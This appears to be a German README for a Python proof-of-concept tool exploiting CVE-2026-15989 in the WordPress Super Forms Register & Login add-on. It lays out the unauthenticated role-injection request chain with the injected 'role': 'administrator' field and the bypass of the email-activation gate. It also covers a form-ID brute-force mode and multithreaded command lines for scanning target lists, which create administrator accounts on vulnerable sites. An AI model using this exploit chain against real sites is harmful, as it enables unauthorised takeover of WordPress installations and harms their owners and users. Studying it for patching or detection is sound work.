
Python-PoC-Scanner für CVE-2026-15989, der unauthentifizierte Rolleninjektion in WordPress Super Forms ausnutzt, um Admin-Konten zu erstellen und den Zugriff zu verifizieren.
█████╗ ███╗ ██╗ ████████╗ ██╗ ██████╗ ██████╗ ██████╗ ████████╗
██╔══██╗ ████╗ ██║ ╚══██╔══╝ ██║ ██╔══██╗ ██╔═████╗ ██╔═████╗ ╚══██╔══╝
███████║ ██╔██╗ ██║ ██║ ██║ ██║ ██║ ██║██╔██║ ██║██╔██║ ██║
██╔══██║ ██║╚██╗██║ ██║ ██║ ██║ ██║ ████╔╝██║ ████╔╝██║ ██║
██║ ██║ ██║ ╚████║ ██║ ██║ ██████╔╝ ╚██████╔╝ ╚██████╔╝ ██║
╚═╝ ╚═╝ ╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚═╝
» E X P L O I T S «
🔥 Fingerprint-freie Auto-Discovery · Validierungsbewusste Payloads · Keine Authentifizierung · Ehrliche Klassifizierung
| WordPress-Plugin | Super Forms – Drag & Drop Form Builder (Register & Login Add-on) |
| Betroffene Version | <= 6.3.316 |
| Gepatchte Version | 6.3.317 |
| Authentifizierung | ❌ Keine erforderlich — jedes veröffentlichte Registrierungsformular genügt |
| CVSS | 9.8 CRITICAL |
role-Schlüssel → Erstellung eines AdministratorsGET admin-ajax.php?action=super_create_nonce ──► _sfs_id session + sf_nonce
│
POST admin-ajax.php action=super_submit_form data=<JSON>
│
before_email_success_msg() (Register & Login add-on)
│
$other_userdata = array( ..., 'role', ... ) ◄── client key whitelisted
│
$data['role']['value'] ──► $userdata['role'] (register_user_role overwritten)
│
wp_insert_user() ──► 🔥 administrator account, zero authentication
Das Add-on kopiert
$data['role']['value']direkt in das User-Data-Array, ohne es gegen die vom Admin konfigurierteregister_user_rolezu validieren, ohne Allow-List und ohne jegliche Capability-Prüfung — ein einziges injiziertes"role": {"value":"administrator"}-Feld genügt.
POST wp-login.php log / pwd / testcookie
│ + action=super_submit_form ◄── the magic field
│
check_user_login_status() ──► pending/blocked gate SKIPPED
│
GET /wp-admin/users.php
│
200 = administrator proven · 403 = subscriber (patched build)
Das Add-on erzwingt sein E-Mail-Aktivierungs-/Moderations-Gate nur, wenn die POST-Action NICHT
super_submit_formist — daher entsperrt dieselbe Form-Action, die den Benutzer registriert, auch den Login in diesen, noch vor jeglicher E-Mail-Verifizierung.
discovery empty (REST · sitemap · links · ?page_id probe)
│
PHASE 1 — form-ID sweep 1..50, minimal payload, OWN SESSION PER ID
│ (shared sessions would invalidate each nonce)
│
'required fields' reject ──► PHASE 2 — REST markup fetch ──► full payload retry
│
every accepted candidate ──► login proof per id
│
contact form? ──► UNVERIFIED (never a false positive)
registration? ──► 👑 verified administrator
Nicht-Registrierungs-Formulare antworten ebenfalls mit
error:false, daher ist jede akzeptierte ID nur ein Kandidat, bis die Zugangsdaten mit einem echten Login nachgewiesen sind.
# zero dependencies — pure Python 3 stdlib (rich is optional, for the console)
python3 cve-2026-15989_poc.py --list labs.txt --output results.txt
# tuned concurrency / timeout
python3 cve-2026-15989_poc.py --list labs.txt --threads 20 --timeout 15 -o results.txt
# FULL MODE: discovery + role injection + login proof + form-ID brute (1..50)
python3 cve-2026-15989_poc.py --list labs.txt --full --output results.txt
labs.txt — eine Basis-URL pro Zeile:
http://localhost
http://192.168.56.101/lab-wp
https://10.0.0.5:8443/lab # self-signed TLS is handled automatically
# comments and blank lines are ignored
| Option | Beschreibung |
|---|---|
--list FILE | Zieldatei — eine URL pro Zeile (erforderlich) |
--output, -o FILE | Trefferliste — nur VULNERABLE Ziele werden live geschrieben (ANSI-frei) |
--threads N | gleichzeitige Ziel-Worker (Standard 10) |
--timeout N | Socket-Timeout pro Anfrage in Sekunden (Standard 10) |
--full | führt die GESAMTE Kette aus — ergänzt den Form-ID-Brute-Fallback (auf verwundbaren Zielen WERDEN Konten erstellt) |
| Zustand | Bedeutung |
|---|---|
VULNERABLE | Konto erstellt und wp-admin-Administratorzugriff nachgewiesen (200) |
NOT-VULNERABLE | Login OK, aber Admin-Seiten 403 — Rolle ignoriert → gepatchter Build |
UNVERIFIED | Übermittlung akzeptiert, aber Login abgelehnt (gesperrtes/pending Konto oder Nicht-Registrierungs-Formular) — wird nie als stiller False Positive gemeldet |
BLOCKED | Übermittlung abgelehnt (reCAPTCHA, CSRF, Pflichtfelder, Honeypot…) |
ERROR | Ziel nicht erreichbar / DNS-Fehler — mit exakter Ursache gemeldet |